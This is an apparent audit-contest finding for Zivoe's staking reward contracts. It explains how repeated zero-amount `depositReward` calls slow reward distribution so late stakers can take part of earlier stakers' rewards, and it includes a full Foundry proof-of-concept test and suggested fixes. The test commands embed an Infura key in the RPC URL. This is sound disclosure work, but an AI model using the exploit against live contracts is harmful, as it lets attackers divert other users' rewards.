Helpful Mercurial Finch

high

# Late stakers can steal a portion of existing stakers' rewards in `ZivoeRewards` and `ZivoeRewardsVesting` by making rewards distribution non-linear.

## Summary

When you have stZVE, stJTT, stSTT, or vestZVE on Zivoe, you are eligible for an additional reward in some ERC20 tokens, for example DAI. The reward is 'vested linearly', which means stakers or those with a vesting schedule will receive a reward proportionally based on the length of time they stake their assets for.

However, it's been found that an attacker can call `depositRewards` with zero token amount to deliberately make rewards distribution curve non-linear, lengthening the distribution schedule and opening an opportunity for late-comers to take away (or steal) a part of the rewards that the earlier stakers deserved.

## Vulnerability Detail

This vulnerability is best illustrated with a poc.

Head over to [`Test_ZivoeRewards.sol`](https://github.com/sherlock-audit/2024-03-zivoe/blob/d4111645b19a1ad3ccc899bea073b6f19be04ccd/zivoe-core-testing/src/TESTS_Core/Test_ZivoeRewards.sol), and add each of these two test cases below at the end of [`Test_ZivoeRewards`](https://github.com/sherlock-audit/2024-03-zivoe/blob/d4111645b19a1ad3ccc899bea073b6f19be04ccd/zivoe-core-testing/src/TESTS_Core/Test_ZivoeRewards.sol#L9-L9) contract:

```solidity
function test_normal() public {
      // Sal and Sue respectively receive 100 ZVE
      assert(god.try_push(address(DAO), address(ZVEClaimer), address(ZVE), 200 ether, ""));
      ZVEClaimer.forward(address(ZVE), 100 ether, address(sal));
      ZVEClaimer.forward(address(ZVE), 100 ether, address(sue));

      // Sal and Sue both stake 100 ZVE each.
      assert(sal.try_approveToken(address(ZVE), address(stZVE), IERC20(address(ZVE)).balanceOf(address(sal))));
      assert(sue.try_approveToken(address(ZVE), address(stZVE), IERC20(address(ZVE)).balanceOf(address(sue))));
      assert(sal.try_stake(address(stZVE), 100 ether));
      assert(sue.try_stake(address(stZVE), 100 ether));
      
      // As a reward, 100 DAI is provided.
      depositReward_DAI(address(stZVE), 100 ether);
      
      // Make sure we aren't tripping
      assertEq(ERC20(DAI).balanceOf(address(sal)), 0);
      assertEq(ERC20(DAI).balanceOf(address(sue)), 0);

      // Sal and Sue go on a vacation, and come back after 31 days.
      uint start = block.timestamp;
      hevm.warp(start + 31 days);

      // They claim their rewards (approximately 50 DAI each)
      assert(sal.try_getRewards(address(stZVE)));
      assert(sue.try_getRewards(address(stZVE)));
      assertEq(ERC20(DAI).balanceOf(address(sal)), 49999999999999680000);
      assertEq(ERC20(DAI).balanceOf(address(sue)), 49999999999999680000);
      // 100 DAI - 49.999999999999680000 - 49.999999999999680000 = 0.0000000.. DAI
      // Therefore, the calculation is correct.
  }    
```

In `test_normal`:
1. DAI is added as a reward by Zivoe Labs, with `rewardsDuration` of `30 days`.
1. Sal and Sue both have 100 ZVE respectively to begin with (let's say that swapped it with USDC from Uniswap).
1. They both stake 100 ZVE each. For the sake of simplicity, let's say that they are the only ZVE stakers in the protocol.
1. Bob (inside `depositReward_DAI`) deposits 100 DAI into stZVE contract for rewards distribution.
1. Sal and Sue go on a vacation, and do not call any of `getRewards` or `fullWithdraw`. In other words, they don't claim their earned rewards yet. They spend 31 days away from Zivoe protocol.
1. They come back, and claim their rewards from the protocol, which is approximately 50 DAI each. This is correct because `rewardsDuration` was 30 days, and Sal and Sue were the only stakers in the protocol. Everyone's happy.

and verify that the test case passes by running:

```console
forge test --rpc-url https://mainnet.infura.io/v3/f0d515d2debb4c3eb3ce6ba2b07cd0d3 --match-contract Test_ZivoeRewards --match-test test_normal -vvvv 
```

But a problem has been identified in `depositReward` function:

```solidity
function depositReward(address _rewardsToken, uint256 reward) external updateReward(address(0)) nonReentrant {
    IERC20(_rewardsToken).safeTransferFrom(_msgSender(), address(this), reward);

    // Update vesting accounting for reward (if existing rewards being distributed, increase proportionally).
    if (block.timestamp >= rewardData[_rewardsToken].periodFinish) {
        rewardData[_rewardsToken].rewardRate = reward.div(rewardData[_rewardsToken].rewardsDuration);
    } else {
        uint256 remaining = rewardData[_rewardsToken].periodFinish.sub(block.timestamp);
        uint256 leftover = remaining.mul(rewardData[_rewardsToken].rewardRate);
        rewardData[_rewardsToken].rewardRate = reward.add(leftover).div(rewardData[_rewardsToken].rewardsDuration);
    }

    rewardData[_rewardsToken].lastUpdateTime = block.timestamp;
    rewardData[_rewardsToken].periodFinish = block.timestamp.add(rewardData[_rewardsToken].rewardsDuration);
    emit RewardDeposited(_rewardsToken, reward, _msgSender());
}
```

We are going to create an example scenario. First, copy and paste `import "forge-std/console.sol";` at the top of the same file. Then, copy and paste this POC to to the same test contract:

```solidity
function test_rewards_non_linear() public {
        // Sal and Sue respectively receive 100 ZVE, and Sid now receives 98000 ZVE
        assert(god.try_push(address(DAO), address(ZVEClaimer), address(ZVE), 100_000 ether, ""));
        ZVEClaimer.forward(address(ZVE), 100 ether, address(sal));
        ZVEClaimer.forward(address(ZVE), 100 ether, address(sue));
        ZVEClaimer.forward(address(ZVE), 98_000 ether, address(sid));

        // Sal and Sue both stake 100 ZVE each.
        assert(sal.try_approveToken(address(ZVE), address(stZVE), IERC20(address(ZVE)).balanceOf(address(sal))));
        assert(sue.try_approveToken(address(ZVE), address(stZVE), IERC20(address(ZVE)).balanceOf(address(sue))));
        assert(sal.try_stake(address(stZVE), 100 ether));
        assert(sue.try_stake(address(stZVE), 100 ether));
        
        // As a reward, 100 DAI is provided.
        depositReward_DAI(address(stZVE), 100 ether);
        
        assertEq(ERC20(DAI).balanceOf(address(stZVE)), 100 ether);
        assertEq(ERC20(DAI).balanceOf(address(sal)), 0);
        assertEq(ERC20(DAI).balanceOf(address(sue)), 0);

        uint start = block.timestamp;
        uint last_attack_time = start;
        hevm.startPrank(address(sid));
        (
            uint256 rewardsDuration,
            ,
            uint256 rewardRate,
            ,
            uint256 rewardPerTokenStored
        ) = stZVE.rewardData(DAI);

        uint rewardPerToken = stZVE.rewardPerToken(DAI);
        console.log("Reward per token %s", rewardPerToken);
        
        assertEq(rewardsDuration, 30 days);
        assertEq(rewardRate, 38580246913580);
        assertEq(rewardPerTokenStored, 0);

        for (uint i = 0; i < 60; i++) {
            last_attack_time = start + i * 12 hours;
            hevm.warp(last_attack_time);
            ZivoeRewards(address(stZVE)).depositReward(DAI, 0);
            rewardPerToken = stZVE.rewardPerToken(DAI);
            (
            uint256 rewardsDuration,
            uint256 periodFinish,
            uint256 rewardRate,
            uint lastUpdateTime,
            uint256 rewardPerTokenStored
        ) = stZVE.rewardData(DAI);
            uint salEarned = stZVE.earned(address(sal), DAI);
            console.log("--- rewardData per token at %s ---", i);
            console.log("rewardPerToken: %s", rewardPerToken);
            console.log("rewardsDuration: %s", rewardsDuration);
            console.log("periodFinish: %s", periodFinish);
            console.log("rewardRate: %s", rewardRate);
            console.log("lastUpdateTime: %s", lastUpdateTime);
            console.log("rewardPerTokenStored: %s", rewardPerTokenStored);
            console.log("salEarned: %s", rewardPerTokenStored);
        }
        hevm.stopPrank();
        (
            uint256 rewardsDurationAfter,
            uint256 periodFinishAfter,
            uint256 rewardRateAfter,
            ,
            uint256 rewardPerTokenStoredAfter
        ) = stZVE.rewardData(DAI);

        assertEq(rewardsDuration, rewardsDurationAfter);
        assertEq(last_attack_time + 30 days, periodFinishAfter);
        assertEq(rewardRateAfter, 14312316021379);
        assertEq(rewardPerTokenStoredAfter, 314512384362580440);

        assert(last_attack_time < start + 30 days);

        // Sal and Sue go on a vacation, and come back after 30 days.
        hevm.warp(start + 30 days);
        assert(sal.try_getRewards(address(stZVE)));
        assert(sue.try_getRewards(address(stZVE)));
        assertEq(ERC20(DAI).balanceOf(address(sal)), 31760384462319830400);
        assertEq(ERC20(DAI).balanceOf(address(sue)), 31760384462319830400);

        hevm.warp(start + 40 days);
        assert(sal.try_getRewards(address(stZVE)));
        assert(sue.try_getRewards(address(stZVE)));
        assertEq(ERC20(DAI).balanceOf(address(sal)), 37943304983555558400);
        assertEq(ERC20(DAI).balanceOf(address(sue)), 37943304983555558400);

        hevm.warp(start + 50 days);
        assert(sal.try_getRewards(address(stZVE)));
        assert(sue.try_getRewards(address(stZVE)));
        assertEq(ERC20(DAI).balanceOf(address(sal)), 44126225504791286400);
        assertEq(ERC20(DAI).balanceOf(address(sue)), 44126225504791286400);

        hevm.warp(start + 59 days);
        assert(sal.try_getRewards(address(stZVE)));
        assert(sue.try_getRewards(address(stZVE)));
        assertEq(ERC20(DAI).balanceOf(address(sal)), 49690853973903441600);
        assertEq(ERC20(DAI).balanceOf(address(sue)), 49690853973903441600);

        hevm.warp(start + 60 days);
        assert(sal.try_getRewards(address(stZVE)));
        assert(sue.try_getRewards(address(stZVE)));
        assertEq(ERC20(DAI).balanceOf(address(sal)), 49999999999965228000);
        assertEq(ERC20(DAI).balanceOf(address(sue)), 49999999999965228000);
    }
```

and verify that the test case passes by running:

```console
forge test --rpc-url https://mainnet.infura.io/v3/f0d515d2debb4c3eb3ce6ba2b07cd0d3 --match-contract Test_ZivoeRewards --match-test test_rewards_non_linear -vvvv 
```

For the purpose of demonstration, let's say `block.timestamp` is initially 0. First, Zivoe Labs calls `depositReward(DAI, 100 ether)` for the distribution of 100 DAI as rewards. Then:

`(block.timestamp >= rewardData[_rewardsToken].periodFinish) == block.timestamp >= 0`, so it's `true`. Consequently:
```solidity
// run in the if branch
rewardData[_rewardsToken].rewardRate 
= reward.div(rewardData[_rewardsToken].rewardsDuration);
= 100 ether / 30 days = 38580246913580 = 0.00003858024691358 DAI

...

// at the end of the function
rewardData[_rewardsToken].lastUpdateTime = 0
rewardData[_rewardsToken].periodFinish = 30 days
```

After 12 hours, Sid calls this function again by depositing 0 DAI, i.e. `depositReward(DAI, 0)`. `else` branch will always be activated because whenever he calls the function every 12 hours, `block.timestamp >= rewardData[_rewardsToken].periodFinish` is `false`:

```solidity
if (block.timestamp >= rewardData[_rewardsToken].periodFinish) {
       rewardData[_rewardsToken].rewardRate = reward.div(rewardData[_rewardsToken].rewardsDuration);
  } else {
      uint256 remaining = rewardData[_rewardsToken].periodFinish.sub(block.timestamp);
      uint256 leftover = remaining.mul(rewardData[_rewardsToken].rewardRate);
      rewardData[_rewardsToken].rewardRate = reward.add(leftover).div(rewardData[_rewardsToken].rewardsDuration);
  }
```

The biggest problem with the `else` branch is that it assumes that all rewards claimable up to the point of `block.timestamp` have been claimed when the function is called again in the future. This is reflected by these two lines:

```solidity
// Determine the remaining time. After 12 hours of initial deposit, it would be 29 days and 12 hours for example.
uint256 remaining = rewardData[_rewardsToken].periodFinish.sub(block.timestamp);
// Then, the leftover rewards would be only 100 DAI * (29 days + 12 hours) / 30 days, which is not true if no one claimed it yet
uint256 leftover = remaining.mul(rewardData[_rewardsToken].rewardRate);
```

Finally, the `rewardRate` is updated:

```solidity
      rewardData[_rewardsToken].rewardRate = reward.add(leftover).div(rewardData[_rewardsToken].rewardsDuration);
```

This line is also wrong, because when Sid calls this function, it will be `0 + (100 DAI * (29 days + 12 hours) / 30 days) / 30 days = 98333333333333333333 / 30 days = 37937242798353`, which is smaller than the previous `rewardRate`, which is `38580246913580`.

What we just have demonstrated, is that calling `depositReward` again with zero reward, drops the `rewardRate`.

When Sid comes again and runs the function again after 12 hours, the `rewardRate`  will drop to `37304955418380`.

If he repeats this 60 times like in the POC, the reward rate drops all the way to `14312316021379`.

In contrast, `rewardPerToken` will increasing return greater values as Sid calls `depositReard` repeatedly. Let's prove that:

```solidity
function rewardPerToken(address _rewardsToken) public view returns (uint256 amount) {
    if (_totalSupply == 0) { return rewardData[_rewardsToken].rewardPerTokenStored; }
    return rewardData[_rewardsToken].rewardPerTokenStored.add(
        lastTimeRewardApplicable(_rewardsToken).sub(
            rewardData[_rewardsToken].lastUpdateTime
        ).mul(rewardData[_rewardsToken].rewardRate).mul(1e18).div(_totalSupply)
    );
}
```

Right after 100 DAI deposit by Zivoe Labs, at the same block timestamp, this function returns 0 because `rewardData[_rewardsToken].rewardPerTokenStored` is initially zero, and `lastTimeRewardApplicable(_rewardsToken).sub(rewardData[_rewardsToken].lastUpdateTime)` gives zero. Consequently, the rest of the equation gives zero.

However, when Sid calls the function again 12 hours later, the equation becomes `12 hours * 38580246913580 * 1e18 / 200 ether = 8333333333333280` (remember we already covered where 38580246913580 comes from).

When he calls that once more 12 hours later, the equation becomes `8333333333333280 + (12 hours * 37937242798353 * 1e18 / 200 ether) = 16527777777777528`. And then again and again, until it increases up to 314512384362580440.

I have created some charts to visualize the changes over the course of repeated attacks by Sid, processing the output from `console.log` in the test file into a csv file:

https://docs.google.com/spreadsheets/d/1tEggfH2-ngztAhO_s4Tlmuny84pITJuDxIjx2Nb2PZ0/edit?usp=sharing

Please check it out (or the screenshot below):

<img width="1714" alt="image" src="https://github.com/sherlock-audit/2024-03-zivoe-9oelm/assets/22465806/1b17b065-b002-4c43-aba8-b970370b775e">

Basically, what we can easily conclude from the graph is that the graph is not linear because the growth of `rewardPerToken` isn't linear anymore due to Sid's intervention. Therefore, it breaks the core functionality of the contract that the rewards should be linearly vested and distributed. In other words, the rewards are not fully distributed within the specified `periodFinish`. It offers a chance for others to share with the existing stakers (or 'steal') that reward even after `periodFinish` ends.

That is why, in the test case of `test_rewards_non_linear`, it takes almost 60 days for Sal and Sue to fully claim the rewards. If no more rewards were supplied after the first 30 days and there was no vulnerability, then Sal and Sue should have consumed rewards by themselves by the end of the first 30 days. This means others can come and steal a certain proportion of the reward  even after the first 30 days, because the reward distribution has been slowed down.

## Impact

- First of all, the protocol promises that it offers a linear distribution (or vesting) of rewards in [ZivoeRewards](https://github.com/sherlock-audit/2024-03-zivoe/blob/d4111645b19a1ad3ccc899bea073b6f19be04ccd/zivoe-core-foundry/src/ZivoeRewards.sol#L25-L25) and [ZivoeRewardsVesting](https://github.com/sherlock-audit/2024-03-zivoe/blob/d4111645b19a1ad3ccc899bea073b6f19be04ccd/zivoe-core-foundry/src/ZivoeRewardsVesting.sol#L25-L25):
![Screenshot 2024-04-22 at 8 53 38](https://github.com/sherlock-audit/2024-03-zivoe-9oelm/assets/22465806/1d085482-08b7-4be5-90d1-d719627ff77c). 
But this is not the case. Core functionality broken.
- As a consequence, stakers who stake earlier lose a fair advantage of doing so because given a nonlinear distribution (vesting) curve, it will take longer to retrieve rewards. That means that someone who notices that there is a rewards distribution going on at Zivoe while it's halfway can call `depositReward` as many times as he wants with just zero amount of the `rewardToken` to deliberately lengthen the vesting period by making it nonlinear, thereby being able to take away a part of the rewards that he did not have a right to when he stakes.

## Code Snippet

The same functions in both contracts are vulnerable because they are just the same implementations.

- `ZivoeRewards`: https://github.com/sherlock-audit/2024-03-zivoe/blob/d4111645b19a1ad3ccc899bea073b6f19be04ccd/zivoe-core-foundry/src/ZivoeRewards.sol#L228-L243
- `ZivoeRewardsVesting`: https://github.com/sherlock-audit/2024-03-zivoe/blob/d4111645b19a1ad3ccc899bea073b6f19be04ccd/zivoe-core-foundry/src/ZivoeRewardsVesting.sol#L352-L367

## Tool used

Manual review

## Recommendation

- `depositReward` is not safe. It should not be `public`. Just append a modifier to only require `_msgSender() == IZivoeGlobals_ZivoeRewardsVesting(GBL).ZVL()`. 
- The current implementation of `depositReward` assumes that certain amount of rewards are already claimed when it is called again, which is never the case, because rewards are vested every second and users explicitly need to call `getRewards` themselves, which means there is always an unclaimed portion of rewards. The function needs to track how many rewards have been claimed not by using existing variables, but by declaring an explicit variable like `totalRewardsClaimed`.